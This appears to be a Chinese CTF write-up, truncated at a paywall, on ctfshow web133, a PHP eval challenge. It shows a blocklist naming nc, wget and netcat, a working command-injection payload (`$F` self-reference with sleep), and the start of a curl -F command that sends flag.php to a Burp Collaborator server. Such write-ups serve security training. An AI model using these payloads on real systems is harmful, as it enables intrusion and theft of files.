ctfshow web133和其他命令执行的骚操作

最新推荐文章于 2024-07-25 17:09:47 发布

原创

最新推荐文章于 2024-07-25 17:09:47 发布 · 5.9k 阅读

30 ·

CC 4.0 BY-SA版权

文章标签：

#ctf命令执行

本文分享了解析命令执行题目的实战经验，涉及PHP代码中的变量覆盖、curl-F利用、Base64和Hex编码绕过、三角函数题的巧妙解法。通过实例演示如何利用curl、grep和编码技巧在限制条件下获取flag。

这里是总结自己最近遇到的命令执行题，感觉还是不错分享出来。也欢迎师傅们评论一些骚操作

一. ctfshow web入门 133

1.正常解

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
   
   
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
   
   
        eval(substr($F,0,6));
    }else{
   
   
        die("6个字母都还不够呀?!");
    }
}

这个题是自己出的主要是考察，命令执行的骚操作和curl -F的使用
分析一下代码发现仿佛是只能读取前面6个字符去执行命令，禁止了命令执行的函数，并且没有写入权限。可能利用就比较可能
但是，如果我们传递的参数就是$F本身，会不会发生变量覆盖？
那我们来一个简单的测试,

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样？**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码，``是shell_exec()函数的缩写，然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕，慢慢理解

然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client （ Collaborator Client 类似DNSLOG，其功能要比DNSLOG强大，主要体现在可以查看 POST请求包以及打Cookies）

# payload 
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值，flag.php就是上传的文件 
?F=`$F`;+curl -X

最低0.47元/天解锁文章